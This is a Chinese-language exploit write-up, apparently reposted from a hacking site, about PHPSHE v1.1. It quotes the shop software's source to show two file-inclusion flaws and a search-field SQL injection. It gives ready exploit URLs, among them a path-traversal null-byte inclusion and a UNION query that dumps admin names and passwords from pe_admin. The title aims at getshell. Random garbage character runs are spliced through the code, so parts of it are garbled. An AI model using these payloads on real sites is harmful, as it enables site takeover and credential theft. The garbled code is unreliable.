phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
# {) p! G: Q$ Z7 A( Z/* ========================
6 V6 ~0 Y, L; O$ T8 ^8 e/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
  J) x' N+ ^  k( f* E5 i

) b$ \! d+ w( F' `# B3 a: \5 a
0 K& P% ]' X, @3 i% R//common.php
/ a/ X& n5 b3 z/ |# S6 L0 Dif (get_magic_quotes_gpc()) {
* e: h9 [& J( ^9 f/ }* e!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
6 ^0 A* Q, _! _!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
5 z. @; }! P: jelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
) L! C4 u! ?, y/ c! J/ z0 \6 {1 G}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
! F" ^1 z- x5 q/ x: {
0×01 包含漏洞

7 j( V" j, {& a
//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
* ~+ L' T- j, Rinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
, v' \# |8 `' A6 I* N' c5 \?>
. l1 F) j$ y: r//common 文件 第15行开始
url路由配置
" _$ l: i) U% O. D( d2 T$module = $mod = $act = 'index';
: {$ y% \" V. H4 b2 S$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
3 [" \7 `  `% Y$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
4 u6 v5 _  d; |+ b* a9 a$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
/ Z$ d8 S3 h  x3 H- U8 ^8 }: L//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
" q- V6 l1 L# o8 X7 T  B( e

0×02 搜索注入
/ [/ i9 f2 f$ v! f+ W8 K
<code id="code2">

//product.php文件
# p7 s/ x* K8 U" P: pcase 'list':
8 I9 V0 t/ t; w; i6 W: r, A9 `$category_id = intval($id);
" ~$ l7 D8 I8 F, H, Y" F+ W! L2 n$info = $db->pe_select('category', array('category_id'=>$category_id));
! @7 k3 d  y# D# C/ R3 ?/ `1 E$ O( r//搜索
$sqlwhere = " and `product_state` = 1";
! w/ r) g! o: |, M  tpe_lead('hook/category.hook.php');
if ($category_id) {
  Z/ V2 V0 Q3 E4 ?where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
* U! r' V6 [: c# z+ P" N$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
' Z5 a" h" j1 q! ^$ r}
else {
/ b, f; p, Y- z% C$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
; H( ^" s- T) X* \1 ^6 C7 I$product_hotlist = product_hotlist();
$ ]3 p" r; L/ _//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
) U# Z" ?# E1 ]$ [  w  B//处理条件语句
0 }) d, M; l! X; y" h$sqlwhere = $this->_dowhere($where);
# h" c" L2 H6 ]* @return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
& [8 Q! v- C9 F+ T8 ~) M( P}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
) t! p4 O  q% @7 C# ?

</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

6 z& |1 w) i# |$order_id = pe_dbhold($_g_id);

3 c5 a! l5 b6 r6 u/ g( U+ @2 o6 F$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

) I$ q+ O4 ~5 q# z! zif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

& D  V! h% {4 P# `}

}

2 h5 L7 k- S) N  Y7 U: Y$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

! P! o0 n0 s% {: G. M, kif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$ Q4 T& g. x" m0 t, j1 J$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

& I$ C0 N  O' i0 dforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
2 ?7 B+ B& l4 I- U( q" _5 e4 J6 m

}

echo '正在为您连接支付网站，请稍后...';

8 X& i8 |8 X% D0 Q0 S0 hinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

* K0 ]" T$ V! q, t' pelse {

pe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

7 ]" C! _$ ~9 ^8 Q- S- m1 }* {break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg